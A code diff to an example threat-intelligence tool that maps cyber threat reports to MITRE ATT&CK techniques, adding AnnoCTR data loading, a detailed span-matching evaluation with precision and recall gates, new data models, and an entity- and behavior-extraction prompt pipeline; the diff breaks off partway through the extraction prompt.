a/examples/threat-report-attck-mapper/threat_mapper/data.py +++ b/examples/threat-report-attck-mapper/threat_mapper/data.py @@ -14,7 +14,7 @@ import httpx from .config import CACHE_DIR -from .models import LinkingCase +from .models import GoldTechniqueMention, LabeledTechniqueExample, LinkingCase def sha256(path: Path) -> str: @@ -145,6 +145,91 @@ def find_annoctr_report(annoctr_root: Path, split: str, document: str) -> Path: return matches[0] +def list_annoctr_reports(annoctr_root: Path, split: str) -> list[Path]: + if split not in {"train", "dev", "test"}: + raise ValueError("split must be train, dev, or test") + roots = list(annoctr_root.glob(f"*/AnnoCTR/text/{split}")) + if len(roots) != 1: + raise FileNotFoundError( + f"Expected one AnnoCTR {split} report directory under {annoctr_root}, found {len(roots)}" + ) + return sorted(roots[0].glob("*.txt"), key=lambda path: path.stem) + + +def _normalized(value: str) -> str: + return " ".join(value.replace("\u00a0", " ").split()).casefold() + + +def _context_score(report: str, start: int, end: int, row: dict[str, Any]) -> tuple[int, int, int]: + left = _normalized(str(row.get("_context_left", row.get("context_left", "")))) + right = _normalized(str(row.get("_context_right", row.get("context_right", "")))) + before = _normalized(report[max(0, start - max(600, len(left) * 2)) : start]) + after = _normalized(report[end : min(len(report), end + max(600, len(right) * 2))]) + left_words = left.split() + right_words = right.split() + left_match = 0 + for count in range(1, len(left_words) + 1): + if before.endswith(" ".join(left_words[-count:])): + left_match = count + right_match = 0 + for count in range(1, len(right_words) + 1): + if after.startswith(" ".join(right_words[:count])): + right_match = count + adjacent = int(bool(left_words) and left_match == len(left_words)) + int( + bool(right_words) and right_match == len(right_words) + ) + return adjacent, left_match + right_match, -start + + +def _align_mention(report: str, row: dict[str, Any]) -> tuple[int, int]: + mention = str(row.get("mention", "")) + if not mention: + raise ValueError("AnnoCTR technique annotation has an empty mention") + exact = [(match.start(), match.end()) for match in re.finditer(re.escape(mention), report)] + if not exact: + pattern = r"\s+".join(re.escape(token) for token in mention.split()) + exact = [(match.start(), match.end()) for match in re.finditer(pattern, report, flags=re.IGNORECASE)] + if not exact: + document = row.get("document", "unknown") + raise ValueError(f"Could not align AnnoCTR mention {mention!r} in {document}") + return max(exact, key=lambda span: _context_score(report, span[0], span[1], row)) + + +def load_gold_mentions(annoctr_root: Path, split: str) -> list[GoldTechniqueMention]: + if split not in {"train", "dev", "test"}: + raise ValueError("split must be train, dev, or test") + report_cache: dict[str, str] = {} + mentions: dict[tuple[str, str, str, int, int], GoldTechniqueMention] = {} + with _find_split_file(annoctr_root, split).open(encoding="utf-8") as stream: + for line in stream: + if not line.strip(): + continue + row = json.loads(line) + if row.get("entity_type") != "TECHNIQUE": + continue + technique_id = _technique_id(str(row.get("label_link", ""))) + if technique_id is None: + continue + document = str(row.get("document", "")) + if document not in report_cache: + report_cache[document] = find_annoctr_report(annoctr_root, split, document).read_text(encoding="utf-8") + report = report_cache[document] + start, end = _align_mention(report, row) + annotation_class = str(row.get("entity_class", "")) + key = (document, technique_id, annotation_class, start, end) + identity = json.dumps(key, ensure_ascii=False, separators=(",", ":")).encode("utf-8") + mentions[key] = GoldTechniqueMention( + mention_id=hashlib.sha256(identity).hexdigest()[:20], + document=document, + technique_id=technique_id, + annotation_class=annotation_class, + quote=report[start:end], + source_start=start, + source_end=end, + ) + return sorted(mentions.values(), key=lambda row: (row.document, row.source_start, row.technique_id)) + + def load_linking_cases(annoctr_root: Path, split: str) -> list[LinkingCase]: if split not in {"train", "dev", "test"}: raise ValueError("split must be train, dev, or test") @@ -176,3 +261,38 @@ def load_linking_cases(annoctr_root: Path, split: str) -> list[LinkingCase]: ) ) return sorted(cases, key=lambda item: item.case_id) + + +def load_training_examples(annoctr_root: Path) -> list[LabeledTechniqueExample]: + examples: dict[tuple[str, str, str], LabeledTechniqueExample] = {} + with _find_split_file(annoctr_root, "train").open(encoding="utf-8") as stream: + for line in stream: + if not line.strip(): + continue + row = json.loads(line) + if row.get("entity_type") != "TECHNIQUE": + continue + technique_id = _technique_id(str(row.get("label_link", ""))) + if technique_id is None: + continue + quote = " ".join(str(row.get("mention", "")).split()) + left = str(row.get("_context_left", row.get("context_left", ""))) + right = str(row.get("_context_right", row.get("context_right", ""))) + context = " ".join(f"{left}{quote}{right}".split()) + if not quote or not context: + continue + document = str(row.get("document", "")) + key = (technique_id, document, context.casefold()) + examples[key] = LabeledTechniqueExample( + technique_id=technique_id, + quote=quote, + context=context, + document=document, + annotation_class=str(row.get("entity_class", "")), + ) + if not examples: + raise ValueError(f"No labeled ATT&CK training examples found under {annoctr_root}") + return sorted( + examples.values(), + key=lambda item: (item.technique_id, item.document, item.context.casefold()), + ) diff --git a/examples/threat-report-attck-mapper/threat_mapper/evaluation.py b/examples/threat-report-attck-mapper/threat_mapper/evaluation.py index 3ed51fdf1..8c08597f6 100644 --- a/examples/threat-report-attck-mapper/threat_mapper/evaluation.py +++ b/examples/threat-report-attck-mapper/threat_mapper/evaluation.py @@ -6,6 +6,8 @@ from pathlib import Path from typing import Any +from .models import GoldTechniqueMention + def _mean(values: Iterable[float]) -> float: rows = list(values) @@ -72,6 +74,565 @@ def ids(row: dict[str, Any], field: str) -> list[str]: } +def _overlap(left_start: int, left_end: int, right_start: int, right_end: int) -> int: + return max(0, min(left_end, right_end) - max(left_start, right_start)) + + +def _technique_family(technique_id: str) -> str: + return technique_id.split(".", 1)[0] + + +def evaluate_full_report_predictions( + predictions: list[dict[str, Any]], + gold_mentions: list[GoldTechniqueMention], + reports: dict[str, str], + *, + excluded_documents: set[str] | None = None, + suggestion_annotated_span_precision_gate: float = 0.85, + report_pair_behavior_recall_gate: float = 0.70, + report_pair_family_conditional_finalist_recall_gate: float = 0.90, + dense_pool_count: int = 20, + late_interaction_pool_count: int = 20, + exemplar_pool_count: int = 0, +) -> dict[str, Any]: + excluded = excluded_documents or set() + + def is_suggested(row: dict[str, Any]) -> bool: + route = row.get("route") + if route is None: + return row.get("support") == "supported" + return route == "suggested_mapping" + + def candidate_source(candidate: dict[str, Any]) -> str: + dense_rank = candidate.get("dense_rank") + late_rank = candidate.get("late_interaction_rank") + exemplar_rank = candidate.get("exemplar_rank") + sources = [] + if type(dense_rank) is int and dense_rank < dense_pool_count: + sources.append("dense") + if type(late_rank) is int and late_rank < late_interaction_pool_count: + sources.append("late_interaction") + if type(exemplar_rank) is int and exemplar_rank < exemplar_pool_count: + sources.append("exemplar") + if not sources: + return "candidate_ledger_unavailable" + if len(sources) == 1 and sources[0] != "exemplar": + return f"{sources[0]}_only" + if sources == ["exemplar"]: + return "exemplar_only" + return "_and_".join(sources) + + invalid_evidence: list[dict[str, Any]] = [] + for row in predictions: + document = str(row.get("document", "")) + report = reports.get(document, "") + start = row.get("source_start") + end = row.get("source_end") + quote = str(row.get("quote", "")) + valid_span = type(start) is int and type(end) is int and 0 <= start < end <= len(report) + if not valid_span or report[start:end] != quote: + invalid_evidence.append({"document": document, "source_start": start, "source_end": end, "quote": quote}) + + supported_by_key: dict[tuple[str, str, int, int], dict[str, Any]] = {} + for row in predictions: + technique_id = row.get("selected_technique_id") + if not is_suggested(row) or not isinstance(technique_id, str) or not technique_id: + continue + key = ( + str(row.get("document", "")), + technique_id, + int(row.get("source_start", -1)), + int(row.get("source_end", -1)), + ) + supported_by_key[key] = row + supported = list(supported_by_key.values()) + + gold_by_match: dict[tuple[str, str], list[GoldTechniqueMention]] = defaultdict(list) + for gold in gold_mentions: + gold_by_match[(gold.document, gold.technique_id)].append(gold) + matched_gold: set[str] = set() + matches: list[dict[str, Any]] = [] + false_positives: list[dict[str, Any]] = [] + for row in sorted( + supported, + key=lambda item: (str(item.get("document", "")), int(item.get("source_start", -1))), + ): + candidates = [ + gold + for gold in gold_by_match[(str(row["document"]), str(row["selected_technique_id"]))] + if gold.mention_id not in matched_gold + and _overlap( + int(row["source_start"]), + int(row["source_end"]), + gold.source_start, + gold.source_end, + ) + > 0 + ] + if not candidates: + false_positives.append(row) + continue + match = max( + candidates, + key=lambda gold: _overlap( + int(row["source_start"]), int(row["source_end"]), gold.source_start, gold.source_end + ), + ) + matched_gold.add(match.mention_id) + selected_candidate = next( + ( + candidate + for candidate in row.get("candidates", []) + if candidate.get("technique_id") == match.technique_id + ), + {}, + ) + dense_rank = selected_candidate.get("dense_rank") + late_rank = selected_candidate.get("late_interaction_rank") + exemplar_rank = selected_candidate.get("exemplar_rank") + retrieval_path = candidate_source(selected_candidate) + matches.append( + { + "document": match.document, + "technique_id": match.technique_id, + "annotation_class": match.annotation_class, + "gold_quote": match.quote, + "predicted_quote": row["quote"], + "source_start": row["source_start"], + "source_end": row["source_end"], + "retrieval_path": retrieval_path, + "dense_rank": dense_rank, + "late_interaction_rank": late_rank, + "exemplar_rank": exemplar_rank, + "rerank_rank": selected_candidate.get("rerank_rank"), + } + ) + + misses = [gold.to_dict() for gold in gold_mentions if gold.mention_id not in matched_gold] + + family_gold_by_match: dict[tuple[str, str], list[GoldTechniqueMention]] = defaultdict(list) + for gold in gold_mentions: + family_gold_by_match[(gold.document, _technique_family(gold.technique_id))].append(gold) + family_matched_gold: set[str] = set() + family_matches: list[dict[str, Any]] = [] + family_false_positives: list[dict[str, Any]] = [] + for row in sorted( + supported, + key=lambda item: (str(item.get("document", "")), int(item.get("source_start", -1))), + ): + predicted_id = str(row["selected_technique_id"]) + candidates = [ + gold + for gold in family_gold_by_match[(str(row["document"]), _technique_family(predicted_id))] + if gold.mention_id not in family_matched_gold + and _overlap( + int(row["source_start"]), + int(row["source_end"]), + gold.source_start, + gold.source_end, + ) + > 0 + ] + if not candidates: + family_false_positives.append(row) + continue + match = max( + candidates, + key=lambda gold: _overlap( + int(row["source_start"]), int(row["source_end"]), gold.source_start, gold.source_end + ), + ) + family_matched_gold.add(match.mention_id) + selected_candidate = next( + (candidate for candidate in row.get("candidates", []) if candidate.get("technique_id") == predicted_id), + {}, + ) + dense_rank = selected_candidate.get("dense_rank") + late_rank = selected_candidate.get("late_interaction_rank") + exemplar_rank = selected_candidate.get("exemplar_rank") + retrieval_path = candidate_source(selected_candidate) + family_matches.append( + { + "document": match.document, + "gold_technique_id": match.technique_id, + "predicted_technique_id": predicted_id, + "technique_family": _technique_family(match.technique_id), + "annotation_class": match.annotation_class, + "gold_quote": match.quote, + "predicted_quote": row["quote"], + "source_start": row["source_start"], + "source_end": row["source_end"], + "retrieval_path": retrieval_path, + "dense_rank": dense_rank, + "late_interaction_rank": late_rank, + "exemplar_rank": exemplar_rank, + "rerank_rank": selected_candidate.get("rerank_rank"), + } + ) + + implicit = [gold for gold in gold_mentions if gold.annotation_class == "CI"] + explicit = [gold for gold in gold_mentions if gold.annotation_class == "CE"] + matched_implicit = sum(gold.mention_id in matched_gold for gold in implicit) + matched_explicit = sum(gold.mention_id in matched_gold for gold in explicit) + family_matched_implicit = sum(gold.mention_id in family_matched_gold for gold in implicit) + family_matched_explicit = sum(gold.mention_id in family_matched_gold for gold in explicit) + supported_on_annotated_spans = [ + row + for row in supported + if any( + gold.document == row.get("document") + and _overlap( + int(row["source_start"]), + int(row["source_end"]), + gold.source_start, + gold.source_end, + ) + > 0 + for gold in gold_mentions + ) + ] + precision = len(matches) / len(supported) if supported else 0.0 + family_precision = len(family_matches) / len(supported) if supported else 0.0 + annotated_span_precision = len(matches) / len(supported_on_annotated_spans) if supported_on_annotated_spans else 0.0 + annotated_span_family_precision = ( + len(family_matches) / len(supported_on_annotated_spans) if supported_on_annotated_spans else 0.0 + ) + implicit_recall = matched_implicit / len(implicit) if implicit else 0.0 + implicit_family_recall = family_matched_implicit / len(implicit) if implicit else 0.0 + excluded_present = sorted({str(row.get("document", "")) for row in predictions}.intersection(excluded)) + + def funnel(gold_scope: list[GoldTechniqueMention]) -> dict[str, Any]: + behavior_found = 0 + finalist_reached = 0 + family_finalist_reached_count = 0 + final_matched = 0 + family_final_matched = 0 + for gold in gold_scope: + overlapping = [ + row + for row in predictions + if row.get("document") == gold.document + and type(row.get("source_start")) is int + and type(row.get("source_end")) is int + and _overlap( + int(row["source_start"]), + int(row["source_end"]), + gold.source_start, + gold.source_end, + ) + > 0 + ] + if overlapping: + behavior_found += 1 + if any( + any(candidate.get("technique_id") == gold.technique_id for candidate in row.get("candidates", [])) + for row in overlapping + ): + finalist_reached += 1 + family_finalist_reached = any( + any( + _technique_family(str(candidate.get("technique_id", ""))) == _technique_family(gold.technique_id) + for candidate in row.get("candidates", []) + ) + for row in overlapping + ) + if family_finalist_reached: + family_finalist_reached_count += 1 + if gold.mention_id in matched_gold: + final_matched += 1 + if gold.mention_id in family_matched_gold: + family_final_matched += 1 + total = len(gold_scope) + return { + "gold_mentions": total, + "behavior_found": behavior_found, + "behavior_recall": behavior_found / total if total else 0.0, + "finalist_reached": finalist_reached, + "finalist_recall": finalist_reached / total if total else 0.0, + "family_finalist_reached": family_finalist_reached_count, + "family_finalist_recall": family_finalist_reached_count / total if total else 0.0, + "final_matched": final_matched, + "final_recall": final_matched / total if total else 0.0, + "family_final_matched": family_final_matched, + "family_final_recall": family_final_matched / total if total else 0.0, + } + + def report_technique_metrics(*, family_level: bool) -> dict[str, Any]: + gold_pairs: dict[tuple[str, str], list[GoldTechniqueMention]] = defaultdict(list) + for gold in gold_mentions: + technique_id = _technique_family(gold.technique_id) if family_level else gold.technique_id + gold_pairs[(gold.document, technique_id)].append(gold) + + predicted_pairs: dict[tuple[str, str], list[dict[str, Any]]] = defaultdict(list) + for row in supported: + selected_id = str(row["selected_technique_id"]) + technique_id = _technique_family(selected_id) if family_level else selected_id + predicted_pairs[(str(row["document"]), technique_id)].append(row) + + correct_pairs = { + pair + for pair, rows in predicted_pairs.items() + if pair in gold_pairs + and any( + _overlap( + int(row["source_start"]), + int(row["source_end"]), + gold.source_start, + gold.source_end, + ) + > 0 + for row in rows + for gold in gold_pairs[pair] + ) + } + implicit_only_pairs = { + pair + for pair, mentions in gold_pairs.items() + if all(mention.annotation_class == "CI" for mention in mentions) + } + + behavior_pairs: set[tuple[str, str]] = set() + finalist_pairs: set[tuple[str, str]] = set() + for pair, mentions in gold_pairs.items(): + overlapping_rows = [ + row + for row in predictions + if row.get("document") == pair[0] + and type(row.get("source_start")) is int + and type(row.get("source_end")) is int + and any( + _overlap( + int(row["source_start"]), + int(row["source_end"]), + mention.source_start, + mention.source_end, + ) + > 0 + for mention in mentions + ) + ] + if overlapping_rows: + behavior_pairs.add(pair) + if any( + ( + _technique_family(str(candidate.get("technique_id", ""))) + if family_level + else str(candidate.get("technique_id", "")) + ) + == pair[1] + for row in overlapping_rows + for candidate in row.get("candidates", []) + ): + finalist_pairs.add(pair) + + target_count = len(gold_pairs) + prediction_count = len(predicted_pairs) + implicit_count = len(implicit_only_pairs) + return { + "gold_pairs": target_count, + "predicted_pairs": prediction_count, + "correct_pairs": len(correct_pairs), + "precision": len(correct_pairs) / prediction_count if prediction_count else 0.0, + "recall": len(correct_pairs) / target_count if target_count else 0.0, + "implicit_only_gold_pairs": implicit_count, + "implicit_only_correct_pairs": len(correct_pairs.intersection(implicit_only_pairs)), + "implicit_only_recall": ( + len(correct_pairs.intersection(implicit_only_pairs)) / implicit_count if implicit_count else 0.0 + ), + "funnel": { + "behavior_found": len(behavior_pairs), + "behavior_recall": len(behavior_pairs) / target_count if target_count else 0.0, + "finalist_reached": len(finalist_pairs), + "finalist_recall": len(finalist_pairs) / target_count if target_count else 0.0, + "conditional_finalist_recall": (len(finalist_pairs) / len(behavior_pairs) if behavior_pairs else 0.0), + "final_supported": len(correct_pairs), + "final_recall": len(correct_pairs) / target_count if target_count else 0.0, + }, + } + + candidate_source_names = ( + [ + "dense_and_late_interaction_and_exemplar", + "dense_and_late_interaction", + "dense_and_exemplar", + "late_interaction_and_exemplar", + "dense_only", + "late_interaction_only", + "exemplar_only", + "candidate_ledger_unavailable", + ] + if exemplar_pool_count + else [ + "dense_and_late_interaction", + "dense_only", + "late_interaction_only", + "candidate_ledger_unavailable", + ] + ) + retrieval_contribution = { + path: sum(row["retrieval_path"] == path for row in matches) for path in candidate_source_names + } + family_retrieval_contribution = { + path: sum(row["retrieval_path"] == path for row in family_matches) for path in candidate_source_names + } + + def finalist_ledger(*, family_level: bool) -> list[dict[str, Any]]: + ledger: list[dict[str, Any]] = [] + for gold in gold_mentions: + options: list[tuple[dict[str, Any], dict[str, Any]]] = [] + for row in predictions: + if row.get("document") != gold.document: + continue + if type(row.get("source_start")) is not int or type(row.get("source_end")) is not int: + continue + if ( + _overlap( + int(row["source_start"]), + int(row["source_end"]), + gold.source_start, + gold.source_end, + ) + <= 0 + ): + continue + for candidate in row.get("candidates", []): + candidate_id = str(candidate.get("technique_id", "")) + matches_gold = ( + _technique_family(candidate_id) == _technique_family(gold.technique_id) + if family_level + else candidate_id == gold.technique_id + ) + if matches_gold: + options.append((row, candidate)) + if not options: + continue + row, candidate = min( + options, + key=lambda item: ( + item[1].get("rerank_rank") if type(item[1].get("rerank_rank")) is int else 10_000, + -_overlap( + int(item[0]["source_start"]), + int(item[0]["source_end"]), + gold.source_start, + gold.source_end, + ), + ), + ) + dense_rank = candidate.get("dense_rank") + late_rank = candidate.get("late_interaction_rank") + exemplar_rank = candidate.get("exemplar_rank") + retrieval_path = candidate_source(candidate) + ledger.append( + { + "mention_id": gold.mention_id, + "document": gold.document, + "gold_technique_id": gold.technique_id, + "candidate_technique_id": candidate.get("technique_id"), + "annotation_class": gold.annotation_class, + "gold_quote": gold.quote, + "predicted_quote": row["quote"], + "retrieval_path": retrieval_path, + "dense_rank": dense_rank, + "late_interaction_rank": late_rank, + "exemplar_rank": exemplar_rank, + "rerank_rank": candidate.get("rerank_rank"), + } + ) + return ledger + + exact_finalists = finalist_ledger(family_level=False) + family_finalists = finalist_ledger(family_level=True) + exact_finalist_retrieval_contribution = { + path: sum(row["retrieval_path"] == path for row in exact_finalists) for path in candidate_source_names + } + family_finalist_retrieval_contribution = { + path: sum(row["retrieval_path"] == path for row in family_finalists) for path in candidate_source_names + } + exact_report_technique = report_technique_metrics(family_level=False) + family_report_technique = report_technique_metrics(family_level=True) + gates = { + "suggestion_annotated_span_precision": (annotated_span_precision >= suggestion_annotated_span_precision_gate), + "report_pair_behavior_recall": ( + exact_report_technique["funnel"]["behavior_recall"] >= report_pair_behavior_recall_gate + ), + "report_pair_family_conditional_finalist_recall": ( + family_report_technique["funnel"]["conditional_finalist_recall"] + >= report_pair_family_conditional_finalist_recall_gate + ), + "exact_source_offsets": not invalid_evidence, + "excluded_documents_absent": not excluded_present, + } + return { + "documents": len(reports), + "gold": { + "total": len(gold_mentions), + "implicit": len(implicit), + "explicit": len(explicit), + }, + "predictions": { + "extracted_behaviors": len(predictions), + "verifier_supported": sum( + row.get("support") == "supported" and bool(row.get("selected_technique_id")) for row in predictions + ), + "supported_unique": len(supported), + "supported_on_annotated_spans": len(supported_on_annotated_spans), + "matched": len(matches), + "false_positive": len(false_positives), + "family_matched": len(family_matches), + "family_false_positive": len(family_false_positives), + "invalid_evidence": len(invalid_evidence), + }, + "metrics": { + "overall_precision": precision, + "family_precision": family_precision, + "annotated_span_precision": annotated_span_precision, + "annotated_span_family_precision": annotated_span_family_precision, + "overall_recall": len(matches) / len(gold_mentions) if gold_mentions else 0.0, + "overall_family_recall": len(family_matches) / len(gold_mentions) if gold_mentions else 0.0, + "implicit_recall": implicit_recall, + "implicit_family_recall": implicit_family_recall, + "explicit_recall": matched_explicit / len(explicit) if explicit else 0.0, + "explicit_family_recall": family_matched_explicit / len(explicit) if explicit else 0.0, + }, + "funnel": { + "all": funnel(gold_mentions), + "implicit": funnel(implicit), + "explicit": funnel(explicit), + }, + "report_technique": { + "exact": exact_report_technique, + "family": family_report_technique, + }, + "retrieval_contribution": { + "dense_pool_count": dense_pool_count, + "late_interaction_pool_count": late_interaction_pool_count, + "exemplar_pool_count": exemplar_pool_count, + "matched_mappings_by_candidate_source": retrieval_contribution, + "family_matched_mappings_by_candidate_source": family_retrieval_contribution, + "exact_finalists_by_candidate_source": exact_finalist_retrieval_contribution, + "family_finalists_by_candidate_source": family_finalist_retrieval_contribution, + }, + "gates": { + "thresholds": { + "suggestion_annotated_span_precision": suggestion_annotated_span_precision_gate, + "report_pair_behavior_recall": report_pair_behavior_recall_gate, + "report_pair_family_conditional_finalist_recall": (report_pair_family_conditional_finalist_recall_gate), + }, + "checks": gates, + "passed": all(gates.values()), + }, + "excluded_documents_present": excluded_present, + "invalid_evidence": invalid_evidence, + "matches": matches, + "family_matches": family_matches, + "exact_finalists": exact_finalists, + "family_finalists": family_finalists, + "false_positives": false_positives, + "family_false_positives": family_false_positives, + "misses": misses, + } + + def read_predictions(path: Path) -> list[dict[str, Any]]: rows: list[dict[str, Any]] = [] with path.open(encoding="utf-8") as stream: diff --git a/examples/threat-report-attck-mapper/threat_mapper/models.py b/examples/threat-report-attck-mapper/threat_mapper/models.py index 46066af72..ab951fec1 100644 --- a/examples/threat-report-attck-mapper/threat_mapper/models.py +++ b/examples/threat-report-attck-mapper/threat_mapper/models.py @@ -48,6 +48,28 @@ def query_text(self) -> str: return f"Observed behavior: {self.evidence}\nAnnotated span: {self.mention}" +@dataclass(frozen=True) +class LabeledTechniqueExample: + technique_id: str + quote: str + context: str + document: str + annotation_class: str + + @property + def embedding_text(self) -> str: + return f"Span: {self.quote}\nSentence: {self.context}" + + +@dataclass(frozen=True) +class ExemplarScore: + technique_id: str + score: float + rank: int + quote: str + document: str + + @dataclass(frozen=True) class CandidateScore: technique_id: str @@ -55,6 +77,14 @@ class CandidateScore: dense_score: float rerank_score: float | None = None rerank_rank: int | None = None + late_interaction_score: float | None = None + dense_rank: int | None = None + late_interaction_rank: int | None = None + fusion_score: float | None = None + exemplar_score: float | None = None + exemplar_rank: int | None = None + exemplar_quote: str | None = None + exemplar_document: str | None = None def to_dict(self) -> dict[str, Any]: return asdict(self) @@ -67,6 +97,39 @@ class BehaviorEvidence: source_start: int source_end: int entities: tuple[dict[str, Any], ...] = field(default_factory=tuple) + actor: str = "" + action: str = "" + object: str = "" + tool: str = "" + target: str = "" + assertion: str = "observed" + + @property + def event_text(self) -> str: + fields = [ + f"Actor: {self.actor}" if self.actor else "", + f"Action: {self.action}" if self.action else "", + f"Object: {self.object}" if self.object else "", + f"Tool: {self.tool}" if self.tool else "", + f"Target: {self.target}" if self.target else "", + f"Assertion: {self.assertion}", + f"Evidence: {self.quote}", + ] + return "\n".join(field for field in fields if field) + + def to_dict(self) -> dict[str, Any]: + return asdict(self) + + +@dataclass(frozen=True) +class GoldTechniqueMention: + mention_id: str + document: str + technique_id: str + annotation_class: str + quote: str + source_start: int + source_end: int def to_dict(self) -> dict[str, Any]: return asdict(self) @@ -84,6 +147,7 @@ class MappingDecision: candidates: tuple[CandidateScore, ...] verifier_model: str escalated: bool + exemplar_agreement: bool def to_dict(self) -> dict[str, Any]: return asdict(self) diff --git a/examples/threat-report-attck-mapper/threat_mapper/pipeline.py b/examples/threat-report-attck-mapper/threat_mapper/pipeline.py index 080b996a7..56cb50e90 100644 --- a/examples/threat-report-attck-mapper/threat_mapper/pipeline.py +++ b/examples/threat-report-attck-mapper/threat_mapper/pipeline.py @@ -1,25 +1,45 @@ from __future__ import annotations +import copy import hashlib +import json import re import time from typing import Any import numpy as np +from sie_sdk.scoring import maxsim from sie_sdk.types import Item -from .models import BehaviorEvidence, CandidateScore, MappingDecision, Technique -from .sie import SIEClientProtocol, jsonable, parse_generated_json, request_record +from .models import ( + BehaviorEvidence, + CandidateScore, + ExemplarScore, + LabeledTechniqueExample, + MappingDecision, + Technique, +) +from .sie import ( + SIEClientProtocol, + jsonable, + parse_generated_json, + request_record, + traced_request_record, +) ENTITY_LABELS = [ "threat actor", "malware", - "security tool", + "software tool", + "vulnerability", "credential", "authentication token", "network protocol", "command or script", "cloud service", + "organization", + "infrastructure", + "target system", ] BEHAVIOR_SCHEMA = { @@ -32,8 +52,17 @@ "properties": { "quote": {"type": "string"}, "summary": {"type": "string"}, + "actor": {"type": "string"}, + "action": {"type": "string"}, + "object": {"type": "string"}, + "tool": {"type": "string"}, + "target": {"type": "string"}, + "assertion": { + "type": "string", + "enum": ["observed", "capability", "background", "defensive"], + }, }, - "required": ["quote", "summary"], + "required": ["quote", "summary", "actor", "action", "object", "tool", "target", "assertion"], "additionalProperties": False, }, } @@ -43,14 +72,20 @@ } +def behavior_schema(max_items: int) -> dict[str, Any]: + schema = copy.deepcopy(BEHAVIOR_SCHEMA) + schema["properties"]["behaviors"]["maxItems"] = max_items + return schema + + def verification_schema(candidate_count: int) -> dict[str, Any]: return { "type": "object", "properties": { "selected_index": {"type": "integer", "minimum": -1, "maximum": candidate_count - 1}, "support": {"type": "string", "enum": ["supported", "ambiguous", "unsupported"]}, - "evidence_quote": {"type": "string"}, - "rationale": {"type": "string"}, + "evidence_quote": {"type": "string", "maxLength": 300}, + "rationale": {"type": "string", "maxLength": 240}, }, "required": ["selected_index", "support", "evidence_quote", "rationale"], "additionalProperties": False, @@ -74,9 +109,11 @@ def _ground_quote(source: str, quote: str) -> tuple[str, int, int] | None: return match.group(), match.start(), match.end() -def split_report(text: str, max_characters: int) -> list[tuple[int, int]]: +def split_report(text: str, max_characters: int, overlap_characters: int = 0) -> list[tuple[int, int]]: if max_characters < 1: raise ValueError("max_characters must be positive") + if overlap_characters < 0 or overlap_characters >= max_characters: + raise ValueError("overlap_characters must be between zero and max_characters") paragraph_spans: list[tuple[int, int]] = [] cursor = 0 @@ -123,9 +160,88 @@ def split_report(text: str, max_characters: int) -> list[tuple[int, int]]: current_start, current_end = paragraph_start, paragraph_end if current_start is not None: chunks.append((current_start, current_end)) + if overlap_characters: + chunks = [ + (max(0, start - overlap_characters) if index else start, end) for index, (start, end) in enumerate(chunks) + ] return chunks +def extract_document_entities( + client: SIEClientProtocol, + model: str, + report_text: str, + *, + chunk_characters: int, + overlap_characters: int, + provision_timeout_s: float, +) -> tuple[list[dict[str, Any]], list[dict[str, Any]]]: + entities: dict[tuple[int, int, str], dict[str, Any]] = {} + calls: list[dict[str, Any]] = [] + spans = split_report(report_text, chunk_characters, overlap_characters) + for chunk_index, (chunk_start, chunk_end) in enumerate(spans): + chunk = report_text[chunk_start:chunk_end] + started = time.perf_counter() + response = client.extract( + model, + Item(id=f"report-{chunk_index}", text=chunk), + labels=ENTITY_LABELS, + wait_for_capacity=True, + provision_timeout_s=provision_timeout_s, + ) + calls.append( + traced_request_record( + f"document_entities_{chunk_index}", + model, + response, + (time.perf_counter() - started) * 1000, + function="extract", + request_payload={ + "item": {"id": f"report-{chunk_index}", "text": chunk}, + "labels": ENTITY_LABELS, + }, + ) + ) + payload = jsonable(response) + rows = payload.get("entities", []) if isinstance(payload, dict) else [] + if not isinstance(rows, list): + continue + for row in rows: + if not isinstance(row, dict): + continue + relative_start = row.get("start") + relative_end = row.get("end") + if type(relative_start) is not int or type(relative_end) is not int: + continue + start = chunk_start + relative_start + end = chunk_start + relative_end + if not (0 <= start < end <= len(report_text)): + continue + text = report_text[start:end] + if _normalized_text(text) != _normalized_text(str(row.get("text", ""))): + continue + label = str(row.get("label", "")) + entity = { + "text": text, + "label": label, + "score": float(row.get("score", 0.0)), + "start": start, + "end": end, + } + key = (start, end, label) + if key not in entities or entity["score"] > entities[key]["score"]: + entities[key] = entity + return sorted(entities.values(), key=lambda row: (int(row["start"]), int(row["end"]), str(row["label"]))), calls + + +def _normalized_text(value: str) -> str: + return " ".join(value.split()).casefold() + + +def _entities_for_chunk(entities: list[dict[str, Any]], start: int, end: int) -> list[dict[str, Any]]: + return [row for row in entities if int(row["start"]) < end and int(row["end"]) > start] + + def extract_behaviors( client: SIEClientProtocol, model: str, @@ -134,38 +250,99 @@ def extract_behaviors( max_behaviors: int, chunk_characters: int, provision_timeout_s: float, + overlap_characters: int = 0, + document_entities: list[dict[str, Any]] | None = None, ) -> tuple[list[BehaviorEvidence], list[dict[str, Any]]]: behaviors: list[BehaviorEvidence] = [] calls: list[dict[str, Any]] = [] - seen_quotes: set[str] = set() - for chunk_index, (chunk_start, chunk_end) in enumerate(split_report(report_text, chunk_characters)): + seen_behaviors: set[tuple[int, int, str, str]] = set() + entities = document_entities or [] + pending_chunks = [ + (chunk_start, chunk_end, str(chunk_index), max_behaviors) + for chunk_index, (chunk_start, chunk_end) in enumerate( + split_report(report_text, chunk_characters, overlap_characters) + ) + ] + while pending_chunks: + chunk_start, chunk_end, chunk_label, behavior_limit = pending_chunks.pop(0) chunk = report_text[chunk_start:chunk_end] + anchors = _entities_for_chunk(entities, chunk_start, chunk_end) + anchor_text = ( + "\n".join(f"- {row['label']}: {row['text']}" for row in anchors[:40]) or "- No entity anchors found" + ) + response_schema = behavior_schema(behavior_limit) prompt = ( - "You review a cyber threat report. Extract concrete adversary behaviors that can be mapped to MITRE " - "ATT&CK Enterprise techniques. Copy each quote exactly from the report chunk. Skip product advice, " - "background definitions, and unsupported guesses. Keep the shortest quote that still states the behavior.\n\n" + "You review a cyber threat report. Extract atomic technical behaviors that can map to MITRE ATT&CK " + "Enterprise. Create a separate row for every distinct action. A compound sentence that says malware steals " + "credentials, records the screen, and downloads another payload needs separate rows with the shortest exact " + "source clause for each action. Include observed activity and stated malware or tool capabilities. Exclude " + "sales, advertising, prices, possession claims, marketplace roles, and generic criminal activity unless the " + "same clause states the technical action used against a system, account, network, or data. Use observed when " + "the report says an attacker or malware performed the action. Use capability when a tool can perform it. Use " + "background for historical adversary activity. Use defensive only for an action performed or recommended by " + "a defender, such as blocking, patching, detection, or incident response. Malware evasion is adversary " + "activity. Skip headings, image captions, predictions, and generic security prose. Copy one " + "exact, self-contained quote for each behavior. Keep enough words to identify the actor, action, object, tool, " + "and target when the report states them. Use an empty string for a missing event field. Return compact " + "JSON on one line, with no indentation or whitespace outside string values. " + 